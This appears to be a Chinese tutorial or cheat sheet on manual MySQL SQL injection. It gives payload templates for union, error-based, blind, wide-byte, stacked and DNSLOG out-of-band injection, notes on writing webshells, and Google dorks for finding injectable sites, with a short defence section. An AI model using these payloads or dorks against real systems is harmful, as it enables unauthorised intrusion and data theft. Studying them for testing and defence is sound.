1.4_SQL手工注入

时间:2024-10-24 11:56:06
  • Information_schema


# information_schema  内置库
# schema_name    schemata下,记录库名的字段
# table_schema   tables,columns下,记录库名的字段
# table_name     tables,columns下,记录表名的字段
# column_name    columns下,记录字段名的字段

# 查询数据库
select schema_name from information_schema.schemata;
# 查询表名
select table_name from information_schema.tables;
# 查询列名
select column_name from information_schema.columns;
# 从 记录所有字段的表 中查询 表名=users 并且 库名=sis2403 的字段
select column_name from information_schema.columns where table_name="users" and table_schema='sis2403';

# 其他
# 查看数据库版本
select version();
# 查看当前数据库
select database();
# 查看当前用户
select USER();
# 查看连接数据库的用户
select session_user();
# 查看数据库安装目录
select @@basedir;
# 查看存储数据库所在目录
select @@datadir;
# 查看当前操作系统版本
select @@version_compile_os;

  • MySQL函数


函数 描述 举例
union 联合查询 条件:俩边字段数量必须一致

SELECT 1,2,3 UNION SELECT 1,2,database()
group_concat([分隔符],内容,[分隔符]) 将返回的内容一行输出,可指定拼接符 SELECT id,username,PASSWORD FROM users WHERE id='-1' UNION (SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(`password`) FROM users)
concat(字串,字串,...) 数据拼接 SELECT concat(user,'~',city) FROM users;
sleep(秒数) 延时执行 SELECT SLEEP(3);
length(字串) 返回结果得长度 SELECT LENGTH("You");
substr(字串,起始,个数) 截取字串 SELECT SUBSTR("you",1,2);  //yo
mid(字串,起始,个数) 截取字串 SELECT MID(USER(),1,2); //ro
ascii(条件,值1,值2) 将结果转换为ascii码 SELECT ASCII("Aou"); //65
hex(值) 将值转为十六进制 SELECT HEX(MID(USER(),1,2));
if() 条件判断 SELECT IF(TRUE,3,2) //3
extractvalue()
  1. 对xml文档进行查询:
  2. extractvalue(目录文档,路径)
EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))
updatexml()
  1. 对xml文档进行更新
  2. updatexml(目标xml文档,xml路径,更新的内容)
UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1)
load_file() 读取文件 select load_file("D:\1.txt");
into outfile 写入文件 select "hello" into outfile "D:\1.txt"
into dumpfile 写入文件
  1. 以上导出文件条件:
    1. 必须是高权限用户
    2. 知道绝对路径
    3. secure_file_priv=' '

  • SQL注入


  1. 含义:将恶意SQL语句送到对方目标数据库中去执行;

  2. 原理:未对用户输入做严格校验,就带到数据库中去执行;

  3. 条件:输入参数可控,并且会与数据库交互;

  4. 危害:信息泄露,数据篡改,未授权访问 和 XSS跨脚本攻击;

  5. 分类:

    按数据提交方式
    GET
    POST
    HTTP头(如,UA头,Referer和cookie。但不一定看对方源码怎么写)
    数据类型
    数字型 例:?id=1,无闭合
    字符型 例:?id=1'?id=1" , ...
    搜索型 例:语句内 like '%1%' #
    注入方式(8)
    1. union联合注入
    2. 条件:有回显,左右两边查询字段数量一致
    1. 报错注入:extractvalue(),updatexml(),floor(),exp(),linestring(),polygon()
    2. 条件:页面会返回报错信息
    1. 布尔盲注:exist(),count(),length(),ascii(),substr(),database()
    2. 条件:只有异常与否没有报错和回显
    1. 时间盲注:if(sql语句,sleep(),1),sleep()benchmark(次数,命令)
    2. 条件:页面无任何返回信息
    1. 宽字节注入
    2. 条件:
      1. 数据库使用GBK编码; 

        SHOW VARIABLES LIKE 'character%';

      2. 语言是UTF8编码;
      3. 只对特殊字符进行转义;
    1. 堆叠注入
    2. 条件:执行函数为:mysqli_multi_query()
    1. 二次注入
    2. 条件:输入时只对特殊字符转义,使用时取出原数据
    1. 外带注入   
    2. 条件
      1. 必须是高权限用户;
      2. 知道网站的绝对路径;
      3. secure_file_priv=' '
    3. 函数:load_file()hex()concat()group_concat()database(),...;
  6. SQL注入流程:
    1). 判断SQL注入;  通过测试闭合,布尔和延时,看响应是否异常 ;例:判断闭合——> ?id=1' 报错 ?id=1' --+ 正常,闭合为',且存在SQL注入漏洞;
    2). 判断字段数; ——> order by 3 --+ 正常 order by 4 --+ 报错;
    3). 确定回显点 ——> union select 1,2,3 只显示2,3,则2,3为回显点;
    4). 查询相关数据 ——> 库名,表名,字段名,字段信息;

  7. 报错函数:extractvalue(),updatexml(),floor(),exp(),linestring(),polygon();

  8. updatexml()/extractvalue()注入原理:当报错时,会自动解析路径上的SQL语句;

  9. 如何挖掘SQL注入漏洞:测试可能与数据库交互功能点 和 数据的增删改查的功能点,如注册,登录,搜索,翻页等功能;

  • SQL注入实践


# 数字型 无[闭合],字符型 有[闭合],搜索型 将[闭合]替换为 %[闭合],--+替换为#
# 判断闭合
# [闭合] AND 1=2 --+
# ' AND 1=1 --+

# 测试字段数量
# [闭合] ORDER BY 1 --+
# ' ORDER BY 1 --+

  • Union联合注入


# ---数字型和字符型
# 判断回显位置
# [闭合] union select[1,2,3...(字段数量)] --+
# ' UNION SELECT 1,2,3 --+

# 查询数据库名(可省略)
# [闭合] union (select[1,2,3...(字段数量)]) --+
# ' UNION (SELECT 1,2,DATABASE()) --+

# 查询所有表名
# [闭合] union (SELECT 1,2,GROUP_CONCAT(table_name),... FROM information_schema.`TABLES` WHERE table_schema=DATABASE()) --+
# ' UNION (SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.`TABLES` WHERE table_schema=DATABASE()) --+

# 查询所有字段名
# [闭合] UNION (SELECT 1,2,GROUP_CONCAT(column_name),... FROM information_schema.`COLUMNS` WHERE table_name='表名' and table_schema=DATABASE() ) --+
' UNION (SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.`COLUMNS` WHERE table_name='users' ) --+

# 查询字段信息
# [闭合] UNION (SELECT 1,GROUP_CONCAT(字段名),GROUP_CONCAT(字段名),... FROM users) --+
' UNION (SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(`password`) FROM users) --+

  • 报错注入


  1. 原理:当路径上的内容为SQL语句,报错时会自动执行;
# 查询数据库名
# [闭合] and UPDATEXML(任意字符,CONCAT(任意字符,(SQL语句),任意字符),任意字符) --+
# 'and UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1) --+

# [闭合] and EXTRACTVALUE(任意字符,CONCAT(任意字符,(SQL语句),任意字符)) --+
# 'and EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e)) --+

# 替换的SQL语句
# 查询数据库名:
SELECT DATABASE()
# 查询数据表名
SELECT GROUP_CONCAT(table_name) FROM information_schema.`TABLES` WHERE table_schema=DATABASE()
# 查询字段名
SELECT GROUP_CONCAT(column_name) FROM information_schema.`COLUMNS` WHERE table_name='表名'
# 查询字段信息
SELECT GROUP_CONCAT(字段名) FROM 表名

  • 布尔盲注 + Brup


  1. 流程:查询数据库类型 ————> 查询数据库名(可省略) ————> 查询数据表名
    ————> 查询数据库字段名 ————> 查询字段中的信息;
  2. PS:库名(省略),表名和字段名 ————> 表名和字段名需判断数量 count() ————> 先判断长度 length(),再判断ASCII码 ascii()
# 数据库类型
# MySQL数据库
[闭合] AND EXISTS(SELECT * FROM information_schema.`TABLES`) --+
# Access数据库
[闭合] AND EXISTS(SELECT * FROM msysobjects) --+
# SQLServer数据库
[闭合] AND EXISTS(SELECT * FROM sysobjects) --+		旧版本
[闭合] AND EXISTS(SELECT * FROM sys.objects) --+	新版本


# PS:范围值任意, 截取从1开始,索引从0开始,到上一个获得的数量为止;
# 数据库名(可省略)
# 查询库名的长度
[闭合] AND (SELECT LENGTH(DATABASE())=库名长度范围值) --+  #修改范围值 
# 查询库名的ASCII码
[闭合] AND (SELECT ASCII(SUBSTR(DATABASE(),索引,1))=ASCII码值) --+  #修改截取索引和ASCII码值

# 表名
# 查询表的数量
[闭合] AND (SELECT COUNT(table_name) FROM information_schema.`TABLES` WHERE table_schema=DATABASE())=表数量范围值 --+  #修改范围值

# 查询表名的长度
[闭合] AND (SELECT LENGTH(table_name) FROM information_schema.`TABLES` WHERE table_schema=DATABASE() LIMIT 索引,1)=表长度范围值 --+   #修改索引和范围值

# 查询表名的ASCII码
[闭合] AND (SELECT ASCII(MID(table_name,截取索引,1)) FROM information_schema.`TABLES` WHERE table_schema=DATABASE() LIMIT 索引,1)=ascii码值 --+   #修改截取索引和ASCII码值,换表名时修改索引


# 字段  表名根据实际情况
# 查询字段的数量
[闭合] AND (SELECT COUNT(column_name) FROM information_schema.`COLUMNS` WHERE table_schema=DATABASE() AND table_name="users")=字段数量范围值 --+  #修改范围值

# 查询字段名的长度
[闭合] AND (SELECT LENGTH(column_name) FROM information_schema.`COLUMNS` WHERE table_schema=DATABASE() AND table_name="users" LIMIT 索引,1)=字段长度范围值  --+   #修改索引和范围值

# 查询字段的ASCII码
[闭合] AND (SELECT ASCII(MID(column_name,截取索引,1)) FROM information_schema.`COLUMNS` WHERE table_schema=DATABASE() AND table_name="users" LIMIT 索引,1)=ascii码值  --+  #修改截取索引和ASCII码值,换字段时修改索引

# 字段内容 字段名根据实际情况
# 查询字段内容长度
[闭合] AND (SELECT LENGTH(字段名) FROM users LIMIT 索引,1)=长度范围值  --+     #修改长度范围值和索引,修改索引更换该字段的下一个内容

# 查询内容ASCII码
[闭合] AND (SELECT ASCII(MID(username,截取索引,1)) FROM users LIMIT 索引,1)=ASCII码值  --+  #修改截取索引和ASCII码值,修改索引更换该字段的下一个内容

  • 时间盲注


  1. 语法: [闭合] AND IF(布尔盲注and到--+之间部分,SLEEP(4),1) --+
# 例:查询表名数量
'AND IF((SELECT COUNT(table_name) FROM information_schema.`TABLES` WHERE table_schema=DATABASE())=8,SLEEP(4),1) --+

  • 宽字节注入


  1. 原理:GBK编码会将两个字节编码为一个汉字(前一个汉字ASCII码>128,例:%df,%cf);
  2. 语法: %df[闭合] SQL语句 --+

  • 堆叠注入


  1. 原理:语句中使用了mysqli_multi_query()函数,导致可以执行多条语句;
  2. 语法:[闭合]; SQL语句 --+

  • 外带注入


  1. 语法:[闭合] AND (SELECT LOAD_FILE(CONCAT('\\\\',(SQL语句),'.域名\\abc'))) --+
  2. 函数:load_file()hex()concat()group_concat()database(),... ;
# DNSLOG外带注入
# 查询数据库名以十六进制显示(记得更改域名)
# ' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(DATABASE())),'.xpf9ei.dnslog.cn\\abc'))) --+

# 查询所有表名以十六进制显示(记得更改域名)
# ' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(GROUP_CONCAT(table_name)) FROM information_schema.`TABLES` WHERE table_schema='SECURITY'),'.b8tfyu.dnslog.cn\\abc'))) --+

  • 二次注入


原理:插入时未经严格过滤,仅对输入内容的特殊字符进行转义,使用时取出原数据,造成sql二次注入;

  • 其他


  1. 写入webshell的方式:into outfile  和 into dumpfile
  2. SQL防御手段:
    1). 黑名单过滤:不允许特定字符通过;
    2). 白名单过滤:只允许特定字符通过;
    3). 函数过滤:自定义函数过滤(类似黑白模板);
    4). 脚本过滤:使用下载的防止SQL注入的脚本过滤;
    5). PDO预处理:prepare函数会将字串与参数分开处理;
    6). Waf拦截:Web应用防火墙(WAF)可以过滤和阻止恶意流量;
  3. sql 注入无回显,可以采用什么注入?
    1). 布尔盲注,时间盲注 和 DNSLOG外带注入;
  4. SQL注入时用到的内置库名字?
    1). information_schema
  5. SQL注入mysql
    1). 版本 > 5.0,Sql注入;
    2). 版本 < 5.0,暴力破解;
  6. SQL注入的流量特征:(非特长异错)
    1). 非常规流量:短时间内大量数据;
    2). 特殊字符:引号,分号,百分号,注释等等;
    3). 长度异常:参数长度异常;
    4). 异常请求: 请求中包含SQL语句;
    5). 错误响应:返回错误的响应;
  7. Google语法挖掘SQL注入漏洞
inurl:?id=1
inurl:php?=1 
inurl:php?tid=1 
inurl:php?aid=1 
inurl:php?id=1
inurl:php?pid=1
inurl:php?cid=1
inurl:php?uid=1
inurl:php?gid=1
inurl:php?pid=1

  • 免责声明


  1. 本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。

  2. 本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。

  3. 本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。

  4. 读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。

  5. 本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。

  6. 作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。

敬请广大读者谅解。如有疑问,请联系我们。谢谢!